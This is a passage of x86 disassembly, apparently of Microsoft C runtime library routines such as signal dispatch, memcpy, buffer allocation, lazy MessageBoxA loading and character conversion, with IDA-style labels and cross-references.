ecx, 2 mov [ebp+var_20], ecx cmp [ebp+var_20], 14h ja loc_42694E mov eax, [ebp+var_20] xor edx, edx mov dl, ds:byte_426AA2[eax] jmp ds:off_426A8A[edx*4] loc_4268B8: ; DATA XREF: .text:off_426A8Ao mov [ebp+var_18], offset dword_4922A0 mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp loc_426956 ; --------------------------------------------------------------------------- loc_4268D5: ; CODE XREF: sub_426880+31j ; DATA XREF: .text:00426A96o mov [ebp+var_18], offset dword_4922A4 mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_426956 ; --------------------------------------------------------------------------- loc_4268EF: ; CODE XREF: sub_426880+31j ; DATA XREF: .text:00426A9Ao mov [ebp+var_18], offset dword_4922A8 mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_426956 ; --------------------------------------------------------------------------- loc_426909: ; CODE XREF: sub_426880+31j ; DATA XREF: .text:00426A92o mov [ebp+var_18], offset dword_4922AC mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_426956 ; --------------------------------------------------------------------------- loc_426923: ; CODE XREF: sub_426880+31j ; DATA XREF: .text:00426A8Eo call sub_41FA10 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ecx+50h] push edx mov eax, [ebp+arg_0] push eax call sub_426AC0 add esp, 8 add eax, 8 mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx jmp short loc_426956 ; --------------------------------------------------------------------------- loc_42694E: ; CODE XREF: sub_426880+20j ; sub_426880+31j ; DATA XREF: ... or eax, 0FFFFFFFFh jmp loc_426A86 ; --------------------------------------------------------------------------- loc_426956: ; CODE XREF: sub_426880+50j ; sub_426880+6Dj ... cmp [ebp+var_C], 0 jz short loc_426966 push 1 call sub_41BC90 add esp, 4 loc_426966: ; CODE XREF: sub_426880+DAj cmp [ebp+var_1C], 1 jnz short loc_426983 cmp [ebp+var_C], 0 jz short loc_42697C push 1 call sub_41BD30 add esp, 4 loc_42697C: ; CODE XREF: sub_426880+F0j xor eax, eax jmp loc_426A86 ; --------------------------------------------------------------------------- loc_426983: ; CODE XREF: sub_426880+EAj cmp [ebp+var_1C], 0 jnz short loc_4269A0 cmp [ebp+var_C], 0 jz short loc_426999 push 1 call sub_41BD30 add esp, 4 loc_426999: ; CODE XREF: sub_426880+10Dj push 3 call sub_41B330 loc_4269A0: ; CODE XREF: sub_426880+107j cmp [ebp+arg_0], 8 jz short loc_4269B2 cmp [ebp+arg_0], 0Bh jz short loc_4269B2 cmp [ebp+arg_0], 4 jnz short loc_4269DE loc_4269B2: ; CODE XREF: sub_426880+124j ; sub_426880+12Aj mov eax, [ebp+var_4] mov ecx, [eax+54h] mov [ebp+var_14], ecx mov edx, [ebp+var_4] mov dword ptr [edx+54h], 0 cmp [ebp+arg_0], 8 jnz short loc_4269DE mov eax, [ebp+var_4] mov ecx, [eax+58h] mov [ebp+var_8], ecx mov edx, [ebp+var_4] mov dword ptr [edx+58h], 8Ch loc_4269DE: ; CODE XREF: sub_426880+130j ; sub_426880+149j cmp [ebp+arg_0], 8 jnz short loc_426A20 mov eax, dword_443648 mov [ebp+var_10], eax jmp short loc_4269F7 ; --------------------------------------------------------------------------- loc_4269EE: ; CODE XREF: sub_426880+19Cj mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_4269F7: ; CODE XREF: sub_426880+16Cj mov edx, dword_443648 add edx, dword_44364C cmp [ebp+var_10], edx jge short loc_426A1E mov eax, [ebp+var_10] imul eax, 0Ch mov ecx, [ebp+var_4] mov edx, [ecx+50h] mov dword ptr [edx+eax+8], 0 jmp short loc_4269EE ; --------------------------------------------------------------------------- loc_426A1E: ; CODE XREF: sub_426880+186j jmp short loc_426A29 ; --------------------------------------------------------------------------- loc_426A20: ; CODE XREF: sub_426880+162j mov eax, [ebp+var_18] mov dword ptr [eax], 0 loc_426A29: ; CODE XREF: sub_426880:loc_426A1Ej cmp [ebp+var_C], 0 jz short loc_426A39 push 1 call sub_41BD30 add esp, 4 loc_426A39: ; CODE XREF: sub_426880+1ADj cmp [ebp+arg_0], 8 jnz short loc_426A50 mov ecx, [ebp+var_4] mov edx, [ecx+58h] push edx push 8 call [ebp+var_1C] add esp, 8 jmp short loc_426A5A ; --------------------------------------------------------------------------- loc_426A50: ; CODE XREF: sub_426880+1BDj mov eax, [ebp+arg_0] push eax call [ebp+var_1C] add esp, 4 loc_426A5A: ; CODE XREF: sub_426880+1CEj cmp [ebp+arg_0], 8 jz short loc_426A6C cmp [ebp+arg_0], 0Bh jz short loc_426A6C cmp [ebp+arg_0], 4 jnz short loc_426A84 loc_426A6C: ; CODE XREF: sub_426880+1DEj ; sub_426880+1E4j mov ecx, [ebp+var_4] mov edx, [ebp+var_14] mov [ecx+54h], edx cmp [ebp+arg_0], 8 jnz short loc_426A84 mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+58h], ecx loc_426A84: ; CODE XREF: sub_426880+1EAj ; sub_426880+1F9j xor eax, eax loc_426A86: ; CODE XREF: sub_426880+D1j ; sub_426880+FEj mov esp, ebp pop ebp retn sub_426880 endp ; sp-analysis failed ; --------------------------------------------------------------------------- off_426A8A dd offset loc_4268B8 ; DATA XREF: sub_426880+31r dd offset loc_426923 dd offset loc_426909 dd offset loc_4268D5 dd offset loc_4268EF dd offset loc_42694E byte_426AA2 db 0 ; DATA XREF: sub_426880+2Br db 5 dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426AC0 proc near ; CODE XREF: .text:00426740p ; sub_426880+B6p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_426ACA: ; CODE XREF: sub_426AC0+31j mov ecx, [ebp+var_4] mov edx, [ecx+4] cmp edx, [ebp+arg_0] jz short loc_426AF3 mov eax, [ebp+var_4] add eax, 0Ch mov [ebp+var_4], eax mov ecx, dword_443654 imul ecx, 0Ch mov edx, [ebp+arg_4] add edx, ecx cmp [ebp+var_4], edx jnb short loc_426AF3 jmp short loc_426ACA ; --------------------------------------------------------------------------- loc_426AF3: ; CODE XREF: sub_426AC0+13j ; sub_426AC0+2Fj mov eax, dword_443654 imul eax, 0Ch mov ecx, [ebp+arg_4] add ecx, eax cmp [ebp+var_4], ecx jnb short loc_426B15 mov edx, [ebp+var_4] mov eax, [edx+4] cmp eax, [ebp+arg_0] jnz short loc_426B15 mov eax, [ebp+var_4] jmp short loc_426B17 ; --------------------------------------------------------------------------- loc_426B15: ; CODE XREF: sub_426AC0+43j ; sub_426AC0+4Ej xor eax, eax loc_426B17: ; CODE XREF: sub_426AC0+53j mov esp, ebp pop ebp retn sub_426AC0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_41FA10 add eax, 58h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426B30 proc near ; CODE XREF: .text:004288B9p push ebp mov ebp, esp call sub_41FA10 add eax, 54h pop ebp retn sub_426B30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426B40 proc near ; CODE XREF: sub_41C310+2CEp ; sub_4260B0+1B0p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 cmp dword_4922B4, 0 jnz short loc_426BB3 push offset aUser32_dll_0 ; "user32.dll" call ds:dword_49434C mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_426B87 push offset aMessageboxa ; "MessageBoxA" mov eax, [ebp+var_8] push eax call ds:dword_494348 mov dword_4922B4, eax cmp dword_4922B4, 0 jnz short loc_426B8B loc_426B87: ; CODE XREF: sub_426B40+28j xor eax, eax jmp short loc_426BF7 ; --------------------------------------------------------------------------- loc_426B8B: ; CODE XREF: sub_426B40+45j push offset aGetactivewindo ; "GetActiveWindow" mov ecx, [ebp+var_8] push ecx call ds:dword_494348 mov dword_4922B8, eax push offset aGetlastactivep ; "GetLastActivePopup" mov edx, [ebp+var_8] push edx call ds:dword_494348 mov dword_4922BC, eax loc_426BB3: ; CODE XREF: sub_426B40+14j cmp dword_4922B8, 0 jz short loc_426BC5 call dword_4922B8 mov [ebp+var_4], eax loc_426BC5: ; CODE XREF: sub_426B40+7Aj cmp [ebp+var_4], 0 jz short loc_426BE1 cmp dword_4922BC, 0 jz short loc_426BE1 mov eax, [ebp+var_4] push eax call dword_4922BC mov [ebp+var_4], eax loc_426BE1: ; CODE XREF: sub_426B40+89j ; sub_426B40+92j mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] push ecx call dword_4922B4 loc_426BF7: ; CODE XREF: sub_426B40+49j mov esp, ebp pop ebp retn sub_426B40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C00 proc near ; CODE XREF: sub_41CC00+581p ; .text:0041E10Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_426C20 cmp edi, eax jb loc_426D98 loc_426C20: ; CODE XREF: sub_426C00+16j test edi, 3 jnz short loc_426C3C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_426C5C rep movsd jmp ds:off_426D48[edx*4] ; --------------------------------------------------------------------------- loc_426C3C: ; CODE XREF: sub_426C00+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_426C54 and eax, 3 add ecx, eax jmp dword ptr ds:loc_426C5C+4[eax*4] ; --------------------------------------------------------------------------- loc_426C54: ; CODE XREF: sub_426C00+46j jmp dword ptr ds:loc_426D58[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_426C5C: ; CODE XREF: sub_426C00+31j ; sub_426C00+8Ej ... jmp ds:off_426CDC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_426C70 dd offset loc_426C9C dd offset loc_426CC0 ; --------------------------------------------------------------------------- loc_426C70: ; DATA XREF: sub_426C00+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_426C5C rep movsd jmp ds:off_426D48[edx*4] ; --------------------------------------------------------------------------- align 4 loc_426C9C: ; DATA XREF: sub_426C00+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_426C5C rep movsd jmp ds:off_426D48[edx*4] ; --------------------------------------------------------------------------- align 10h loc_426CC0: ; DATA XREF: sub_426C00+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_426C5C rep movsd jmp ds:off_426D48[edx*4] ; --------------------------------------------------------------------------- align 4 off_426CDC dd offset loc_426D3F ; DATA XREF: sub_426C00:loc_426C5Cr dd offset loc_426D2C dd offset loc_426D24 dd offset loc_426D1C dd offset loc_426D14 dd offset loc_426D0C dd offset loc_426D04 dd offset loc_426CFC ; --------------------------------------------------------------------------- loc_426CFC: ; CODE XREF: sub_426C00:loc_426C5Cj ; DATA XREF: sub_426C00+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_426D04: ; CODE XREF: sub_426C00:loc_426C5Cj ; DATA XREF: sub_426C00+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_426D0C: ; CODE XREF: sub_426C00:loc_426C5Cj ; DATA XREF: sub_426C00+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_426D14: ; CODE XREF: sub_426C00:loc_426C5Cj ; DATA XREF: sub_426C00+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_426D1C: ; CODE XREF: sub_426C00:loc_426C5Cj ; DATA XREF: sub_426C00+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_426D24: ; CODE XREF: sub_426C00:loc_426C5Cj ; DATA XREF: sub_426C00+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_426D2C: ; CODE XREF: sub_426C00:loc_426C5Cj ; DATA XREF: sub_426C00+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_426D3F: ; CODE XREF: sub_426C00:loc_426C5Cj ; DATA XREF: sub_426C00:off_426CDCo jmp ds:off_426D48[edx*4] ; --------------------------------------------------------------------------- align 4 off_426D48 dd offset loc_426D58 ; DATA XREF: sub_426C00+35r ; sub_426C00+92r ... dd offset loc_426D60 dd offset loc_426D6C dd offset loc_426D80 ; --------------------------------------------------------------------------- loc_426D58: ; CODE XREF: sub_426C00+35j ; sub_426C00+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_426D60: ; CODE XREF: sub_426C00+35j ; sub_426C00+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_426D6C: ; CODE XREF: sub_426C00+35j ; sub_426C00+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_426D80: ; CODE XREF: sub_426C00+35j ; sub_426C00+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_426D98: ; CODE XREF: sub_426C00+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_426DCC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_426DC0 std rep movsd cld jmp ds:off_426EE0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_426DC0: ; CODE XREF: sub_426C00+1B1j ; sub_426C00+208j ... neg ecx jmp ds:off_426E90[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_426DCC: ; CODE XREF: sub_426C00+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_426DE4 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_426DE4+4[eax*4] ; --------------------------------------------------------------------------- loc_426DE4: ; CODE XREF: sub_426C00+1D6j ; DATA XREF: sub_426C00+1DDr jmp ds:off_426EE0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_426DF7+1 ; --------------------------------------------------------------------------- sbb [esi+42h], ch add [eax+6Eh], al inc edx loc_426DF7: ; DATA XREF: sub_426C00+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_426DC0 std rep movsd cld jmp ds:off_426EE0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_426DC0 std rep movsd cld jmp ds:off_426EE0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_426DC0 std rep movsd cld jmp ds:off_426EE0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_426E94 dd offset loc_426E9C dd offset loc_426EA4 dd offset loc_426EAC dd offset loc_426EB4 dd offset loc_426EBC dd offset loc_426EC4 off_426E90 dd offset loc_426ED7 ; DATA XREF: sub_426C00+1C2r ; --------------------------------------------------------------------------- loc_426E94: ; DATA XREF: sub_426C00+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_426E9C: ; DATA XREF: sub_426C00+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_426EA4: ; DATA XREF: sub_426C00+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_426EAC: ; DATA XREF: sub_426C00+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_426EB4: ; DATA XREF: sub_426C00+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_426EBC: ; DATA XREF: sub_426C00+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_426EC4: ; DATA XREF: sub_426C00+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_426ED7: ; CODE XREF: sub_426C00+1C2j ; DATA XREF: sub_426C00:off_426E90o jmp ds:off_426EE0[edx*4] ; --------------------------------------------------------------------------- align 10h off_426EE0 dd offset loc_426EF0 ; DATA XREF: sub_426C00+1B7r ; sub_426C00:loc_426DE4r ... dd offset loc_426EF8 dd offset loc_426F08 dd offset loc_426F1C ; --------------------------------------------------------------------------- loc_426EF0: ; CODE XREF: sub_426C00+1B7j ; sub_426C00:loc_426DE4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_426EF8: ; CODE XREF: sub_426C00+1B7j ; sub_426C00:loc_426DE4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_426F08: ; CODE XREF: sub_426C00+1B7j ; sub_426C00:loc_426DE4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_426F1C: ; CODE XREF: sub_426C00+1B7j ; sub_426C00:loc_426DE4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_426C00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426F40 proc near ; CODE XREF: sub_41E750+98p ; sub_424670+ECp ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_433400 push offset sub_425F84 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE4h push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4922C0, 0 jnz short loc_426FBE lea eax, [ebp+var_1C] push eax push 1 push offset dword_43301C push 1 call ds:dword_4942C0 test eax, eax jz short loc_426F92 mov dword_4922C0, 1 jmp short loc_426FBE ; --------------------------------------------------------------------------- loc_426F92: ; CODE XREF: sub_426F40+44j lea ecx, [ebp+var_1C] push ecx push 1 push offset dword_433018 push 1 push 0 call ds:dword_4942C4 test eax, eax jz short loc_426FB7 mov dword_4922C0, 2 jmp short loc_426FBE ; --------------------------------------------------------------------------- loc_426FB7: ; CODE XREF: sub_426F40+69j xor eax, eax jmp loc_4270E8 ; --------------------------------------------------------------------------- loc_426FBE: ; CODE XREF: sub_426F40+2Dj ; sub_426F40+50j ... cmp dword_4922C0, 2 jnz short loc_426FF5 cmp [ebp+arg_14], 0 jnz short loc_426FD6 mov edx, dword_492170 mov [ebp+arg_14], edx loc_426FD6: ; CODE XREF: sub_426F40+8Bj mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_14] push ecx call ds:dword_4942C4 jmp loc_4270E8 ; --------------------------------------------------------------------------- loc_426FF5: ; CODE XREF: sub_426F40+85j cmp dword_4922C0, 1 jnz loc_4270E6 cmp [ebp+arg_10], 0 jnz short loc_427011 mov edx, dword_492180 mov [ebp+arg_10], edx loc_427011: ; CODE XREF: sub_426F40+C6j push 0 push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_18] neg edx sbb edx, edx and edx, 8 add edx, 1 push edx mov eax, [ebp+arg_10] push eax call ds:dword_4942D4 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_427045 xor eax, eax jmp loc_4270E8 ; --------------------------------------------------------------------------- loc_427045: ; CODE XREF: sub_426F40+FCj mov [ebp+var_4], 0 mov eax, [ebp+var_20] shl eax, 1 add eax, 3 and al, 0FCh call sub_418D40 mov [ebp+var_2C], esp mov [ebp+var_18], esp mov ecx, [ebp+var_2C] mov [ebp+var_24], ecx mov edx, [ebp+var_20] shl edx, 1 push edx push 0 mov eax, [ebp+var_24] push eax call sub_4189A0 add esp, 0Ch mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42709B ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_42709B: ; CODE XREF: sub_426F40+142j cmp [ebp+var_24], 0 jnz short loc_4270A5 xor eax, eax jmp short loc_4270E8 ; --------------------------------------------------------------------------- loc_4270A5: ; CODE XREF: sub_426F40+15Fj mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx push 1 mov edx, [ebp+arg_10] push edx call ds:dword_4942D4 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_4270CE xor eax, eax jmp short loc_4270E8 ; --------------------------------------------------------------------------- loc_4270CE: ; CODE XREF: sub_426F40+188j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+var_28] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4942C0 jmp short loc_4270E8 ; --------------------------------------------------------------------------- loc_4270E6: ; CODE XREF: sub_426F40+BCj xor eax, eax loc_4270E8: ; CODE XREF: sub_426F40+79j ; sub_426F40+B0j ... lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_426F40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427100 proc near ; CODE XREF: sub_41E810+137p ; sub_421790+A1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi loc_427107: ; CODE XREF: sub_427100+2Fj cmp [ebp+arg_0], 0 jnz short loc_42712B push offset aStrNull ; "str != NULL" push 0 push 2Eh push offset a_getbuf_c ; "_getbuf.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_42712B int 3 ; Trap to Debugger loc_42712B: ; CODE XREF: sub_427100+Bj ; sub_427100+28j xor eax, eax test eax, eax jnz short loc_427107 mov ecx, dword_492154 add ecx, 1 mov dword_492154, ecx mov edx, [ebp+arg_0] mov [ebp+var_4], edx push 3Bh push offset a_getbuf_c ; "_getbuf.c" push 2 push 1000h call sub_416A30 add esp, 10h mov ecx, [ebp+var_4] mov [ecx+8], eax mov edx, [ebp+var_4] cmp dword ptr [edx+8], 0 jz short loc_427186 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] or ecx, 8 mov edx, [ebp+var_4] mov [edx+0Ch], ecx mov eax, [ebp+var_4] mov dword ptr [eax+18h], 1000h jmp short loc_4271AB ; --------------------------------------------------------------------------- loc_427186: ; CODE XREF: sub_427100+69j mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] or edx, 4 mov eax, [ebp+var_4] mov [eax+0Ch], edx mov ecx, [ebp+var_4] add ecx, 14h mov edx, [ebp+var_4] mov [edx+8], ecx mov eax, [ebp+var_4] mov dword ptr [eax+18h], 2 loc_4271AB: ; CODE XREF: sub_427100+84j mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov eax, [edx+8] mov [ecx], eax mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_427100 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4271D0 proc near ; CODE XREF: sub_41E810+127p ; sub_423FC0+40p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, dword_492520 jb short loc_4271E2 xor eax, eax jmp short loc_427200 ; --------------------------------------------------------------------------- loc_4271E2: ; CODE XREF: sub_4271D0+Cj mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] movsx eax, byte ptr [eax+edx+4] and eax, 40h loc_427200: ; CODE XREF: sub_4271D0+10j pop ebp retn sub_4271D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427210 proc near ; CODE XREF: sub_41EA90+3CAp ; sub_41EA90+B90p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 8 push offset dword_49274C call ds:dword_494418 cmp dword_492748, 0 jz short loc_427248 push offset dword_49274C call ds:dword_494414 push 13h call sub_41BC90 add esp, 4 mov [ebp+var_4], 1 jmp short loc_42724F ; --------------------------------------------------------------------------- loc_427248: ; CODE XREF: sub_427210+18j mov [ebp+var_4], 0 loc_42724F: ; CODE XREF: sub_427210+36j mov ax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_427290 add esp, 8 mov [ebp+var_8], eax cmp [ebp+var_4], 0 jz short loc_427275 push 13h call sub_41BD30 add esp, 4 jmp short loc_427280 ; --------------------------------------------------------------------------- loc_427275: ; CODE XREF: sub_427210+57j push offset dword_49274C call ds:dword_494414 loc_427280: ; CODE XREF: sub_427210+63j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_427210 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427290 proc near ; CODE XREF: sub_427210+48p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jnz short loc_4272A3 xor eax, eax jmp loc_42732C ; --------------------------------------------------------------------------- loc_4272A3: ; CODE XREF: sub_427290+Aj cmp dword_492170, 0 jnz short loc_4272DA mov eax, [ebp+arg_4] and eax, 0FFFFh cmp eax, 0FFh jle short loc_4272CB call sub_422F20 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_42732C ; --------------------------------------------------------------------------- loc_4272CB: ; CODE XREF: sub_427290+29j mov ecx, [ebp+arg_0] mov dl, byte ptr [ebp+arg_4] mov [ecx], dl mov eax, 1 jmp short loc_42732C ; --------------------------------------------------------------------------- loc_4272DA: ; CODE XREF: sub_427290+1Aj mov [ebp+var_8], 0 lea eax, [ebp+var_8] push eax push 0 mov ecx, dword_442F58 push ecx mov edx, [ebp+arg_0] push edx push 1 lea eax, [ebp+arg_4] push eax push 220h mov ecx, dword_492180 push ecx call ds:dword_4943B0 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_427319 cmp [ebp+var_8], 0 jz short loc_427329 loc_427319: ; CODE XREF: sub_427290+81j call sub_422F20 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_42732C ; --------------------------------------------------------------------------- loc_427329: ; CODE XREF: sub_427290+87j mov eax, [ebp+var_4] loc_42732C: ; CODE XREF: sub_427290+Ej ; sub_427290+39j ... mov esp, ebp pop ebp retn sub_427290 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427330 proc near ; CODE XREF: sub_41FBE0+74Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push offset dword_49274C call ds:dword_494418 cmp dword_492748, 0 jz short loc_427368 push offset dword_49274C call ds:dword_494414 push 13h call sub_41BC90 add esp, 4 mov [ebp+var_4], 1 jmp short loc_42736F ; --------------------------------------------------------------------------- loc_427368: ; CODE XREF: sub_427330+18j mov [ebp+var_4], 0 loc_42736F: ; CODE XREF: sub_427330+36j mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call 